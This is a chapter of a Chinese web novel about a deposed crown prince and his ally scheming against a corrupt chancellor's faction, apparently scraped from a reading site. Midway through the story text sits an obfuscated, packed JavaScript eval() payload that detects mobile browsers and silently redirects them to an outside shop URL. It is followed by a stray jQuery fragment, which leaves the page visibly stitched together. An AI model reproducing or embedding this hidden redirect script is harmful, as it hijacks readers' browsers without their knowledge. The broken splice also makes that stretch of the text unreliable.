75.第 75 章

作品:《穿书后,废太子他总在崩人设

    宏德王夫妇不似传言中那般不近人情。


    萧烬做太子时风评很差,郑朴树虽未直接与他接触几次,但印象总归不好。后来萧烬被废后居于废宫,外界更是很少知道他的消息,只听说他愈发暴戾狠辣。


    再后来,外邦和谈那次,郑朴树远远观察他几回,也只觉得他华而不实、矫揉造作。


    可今日,他好像重新认识了萧烬。


    萧烬似乎将自己的位置放得很靠后,他一直在强调要证明镇国公、受牵连将士、以及朝野56名冤死臣子的清白,却对自己的未来闭口不言。


    他甚至说:“郑大人,这次我打算破釜沉舟,哪怕结局是死,哪怕搭上所有的前程和将来,我也在所不惜。”


    宏德王讲这些时,眼睛里的执拗,不像装出来的。


    郑朴树亲自将洛鸢和萧烬送出府,两人乘马车离开后,他依然站在府门前激动地颤抖。终于、终于快要再也无需经受良心的谴责了!


    回宫路上,洛鸢问萧烬:“除郑大人给出明确答复外,其余大臣要么含糊其辞,要么闭门谢客,怎么办?”


    萧烬蹙眉:“无妨。虽只有郑大人明确表态,但以他大理寺卿的身份,足够有信服力。下一步,我们的目标是‘一尾鱼’。”


    洛鸢诧异:“一尾鱼?”


    萧烬:“你可真健忘。之前和你提过的,相府赏鱼宴上苏相最忠心的狗腿子可以从池塘任挑一尾鱼......”


    洛鸢恍然大悟:“哦哦,想起来了。苏相选了谁来着,是、是通政使司通政使,田文利。前几日飞鱼送来的消息中特意提到过他。”


    萧烬点头:“正是。通政使官居正三品,位列九卿,与郑大人官级一样。这个职位掌控着奏章呈递、公文下发及百姓上书,手里经常握着不少其他人不知道的隐秘。”


    “以苏相的老谋深算,这个职位上的人,必是他的心腹狗腿。比如,就算有人要弹劾苏相,田文利会比其他人更早知情,然后可以秘密禀报给苏相,以便提前做出应对......有他在,苏相相当于有了一道安全阀。”


    洛鸢轻点下巴:“哈哈,根据飞鱼传来的消息,那日田文利在水塘里挑了一尾小丑鱼,谄媚的心思都挂脸上了。可是......像田文利这种和苏相深度绑定的人,应该不好拉拢吧?”


    萧烬淡淡勾唇,冷笑:“谁说要拉拢了。对付他这种哈巴狗,唯暴力之......”


    *


    洛鸢全副武装闯入田府,直接潜入田文利的房间。他正抱着一盒银票数来数去,嘴里不知在念叨着什么,不由自主发出笑声。


    洛鸢凑近他耳边,粗声道:“田大人,又赚了不少吧?”


    “嘿嘿,那是,那是。最近被弹劾的官员太多了,不给老子钱,老子怎么帮他把奏折截下来啊——”田文利正得意洋洋地答着,突然反应过来,立即顿住,猛地回头......


    洛鸢冲他扑哧一笑,随即一拳重重捶在他脑门,顿时感觉眼前冒着数不清的火星子。


    “啊啊啊——来人——”


    还没等他喊出声,洛鸢迅速往他口中塞了一块擦脚巾:“嘿嘿,田大人,委屈你了。”


    她将田文利五花大绑捆在屋内的太师椅上,将门反锁后,拿把椅子在他对面一坐,翘起二郎腿。


    “田大人,你觉得,我从哪里开始揍你比较好呢?是头、是肚子、还是......呵呵,那里呀?”洛鸢朝他挤下眼,顺带用手指了指他大腿内侧某处。


    田文利用力挣扎着,从牙缝中艰难吐字:“你......是谁?谁派你来的?我得罪谁了!”


    洛鸢压紧嗓子:“哎呦,你连得罪谁都不知道,怎么混的?啊!”她用力戳他的脸,戳得他粗糙胖脸上传来一阵火辣辣的痛。


    “田大人,今日这顿揍,你挨定了!”


    洛鸢懒得继续和他废话,直接把田文利当成沙包,从头到脚打了个鼻青脸肿,鼻子里飙出的血糊了满脸。


    田文利从起初的蛮横慢慢变成了哀求:“大侠......放过我......要钱我有,你想要什么我都给你......”


    洛鸢打累了,揉揉手,重新坐回椅子上,然后昂起头:“主人嫌你蠢,特意派我来教训教训你。”


    说完,她拍拍身上的尘土,立即准备离开。


    田文利急得大喊,但声音透过擦脚巾,穿出来后只剩下模糊混沌的音色:“可否告知,你主人是谁?好歹让田某死个明白!”


    洛鸢眼神一凛,沉声:“主人说,他不喜欢你选那条小丑鱼......”


    她转身,留给田文利一个冰冷的背影:“今日之事,你若敢对外提半个字,主人必让你辞官滚蛋!”


    “他还说,如今朝堂暗流涌动,以后希望你能懂得与他避嫌。哪怕朝堂之上有人弹劾他,你也最好不要多嘴!”


    洛鸢说完,踹开门,径直扬长而去。


    等田府的人冲进来时,田文利目光呆滞地瘫在椅子上,几乎快吓尿了。


    是苏相?他不小心得罪了苏相?! 想到这,一身暴汗的田文利瞬间浑身冷透,浑身抖个不停。


    只能结结巴巴警告众人:“方才......什么事都没发生......记住了吗!”


    *


    “揍完了?”


    “揍完了!一点都不爽,全方位碾压。”


    萧烬一直在田府外等着洛鸢,见她出来后,赶紧招手让她过去。


    洛鸢谨慎地朝身后望了几眼,见无田家护院追来,稍稍松口气:“这个死胖子太不禁吓唬,我稍微发点狠,他就吓得浑身哆嗦。你确定我方才拿小丑鱼点他,他就一定会相信是苏相的意思?”


    萧烬忍笑:“不然嘞。他到现在都没派人追出来,足以证明他深信不疑。”


    洛鸢努嘴:“好吧。只是我还是感觉过程稍微简单粗暴了些,这种不用死的西瓜,不玩弄一下总觉得亏了。”


    萧烬无语:“你方才做得越是干净利落,他才会越害怕。你的话越是含糊,才会让他在各种揣测中变得越发紧张和慌乱。简而言之,这是一种攻心的策略。”


    “反之,折磨他的过程拉得越长,破绽便会越多,反而弄巧成拙了......”


    洛鸢定定望向萧烬,眼底泛光:“萧烬,你到底还懂得多少?孙子兵法是不是也都倒背如流了?”


    “没那闲工夫。”萧烬瞪她,“不过攻城为下,攻心为上。今天揍他不是目的,真正的目的是让他对苏相产生莫名的畏惧。俗话说,话说一半,事做一半,神秘产生未知,未知产生恐惧......留白是门艺术,你慢慢悟吧。”


    “嘁,故弄玄虚。”洛鸢翻翻白眼,揉了揉酸胀的手腕,“装什么高深......哎呀,我手好疼......以后这种体力活别找我。”


    萧烬面色顿时紧张:“没事吧?我给你捏捏?”


    “滚,别趁机揩美女的油。”洛鸢拨开他,偷笑。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052423|187941||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜色渐浓,不远处便是洛裳斋,两人鬼使神差地朝那边走去。


    屋内亮着昏暗的烛光,有吵吵闹闹的声音传出。


    “乌桑,你笨死算了,扫个地都扫不好!我、我、我这里可不养闲人啊,你可不能白吃白住啊,要再这样笨手笨脚,就给我卷铺盖走人算了!”


    这是冯飞鱼的声音。


    “走就走,谁还怕你......”说着传出一阵窸窸窣窣的响声,那扇门刚要打开,被人一把拉回去。


    “这飞鱼......前段时间不还对乌桑好好的,怎么说翻脸就......”还没等洛鸢吐槽完,里面又传出声音。


    冯飞鱼的语气变得娇嗔:“哎呀,瞧你那小气样子,我开玩笑的。连个小小的玩笑都开不起,还算不算是个男子汉。”


    乌桑无奈道:“铺子里的卫生我一天来回打扫了没十回也有八回了吧,到底怎样你才会满意?没见过你这么难伺候的。”


    “说谁难伺候,你再说一遍我听听?”


    “哎呀,疼——冯飞鱼,你再动不动揪我耳朵,别怪我不客气!”


    “来啊,你不客气一个我瞧瞧,你还抬手......你打我一下试试,信不信我找洛鸢姐姐告你的状!”


    ......


    乌桑被她气到,撂下狠话:“明日起我便收拾东西离开,这段时间吃住的花销,我会想办法还给你。”


    “谁让你还了?乌桑,你若敢走,我就让你......让你身败名裂!”冯飞鱼满脸紧张地扯住乌桑的袖子。


    “我错了还不行吗?人家让你干活,也是为了锻炼你的筋骨嘛。你都躺这么久了,不活动活动怎么行......”


    冯飞鱼眼眶噙泪:“再说,你在这里吃住才花几个钱呀,我前段时间光是倒腾话本子就赚了七八万两白银,还差你那点花销......呜呜,乌桑,我错了嘛,你别生气了。”


    门缝处,萧烬气急,冲洛鸢瞪眼:“啥......冯飞鱼居然也去倒腾我写的话本子了?”


    “嘘!”洛鸢眨眼,“淡定,这叫炒作。要没有她在其中添一把火,你以为‘滚雪球’及其衍生话本能如此风靡?若非如此,梁王能重视?”


    “专心看小情侣拌嘴吧。”


    萧烬被噎到说不出话,转而又望向门内,苦笑:“你管这叫......小情侣?乌桑不见得喜欢她吧......”


    “闭嘴吧!”洛鸢打断,“这俩绝对有戏。妥妥的对抗路cp。两人看似剑拔弩张,实则心里都很在意对方。哎,乌桑内心的伤痛太多了,很需要冯飞鱼这种时而女强人、时而又萌妹子的小太阳体质去温暖他。”


    说着,洛鸢的眼神变得认真。


    萧烬盯着她许久,摇了摇头:“看样子你也不麻木啊。怎么看别人那么透彻,一旦到了自己身上,就钝感力十足......”


    洛鸢故意不接他话茬:“不信?我现在给你测试下。”


    她拈起一段小小的树枝,透过门缝用力抛出去,直直冲着冯飞鱼的方向。


    乌桑眼疾手快,一个踉跄转身,将冯飞鱼稳稳护在了身后,随即脚下一软,跌坐在地,疼得痛呼一声。


    “你没事吧!”冯飞鱼满脸紧张地过去搀他。


    乌桑捡起地上的树枝,定了定神,然后猛猛松一口气:“好险,方才我还以为是暗器......”


    门外,洛鸢扑哧一笑,朝萧烬使个调皮的眼神:“快跑——”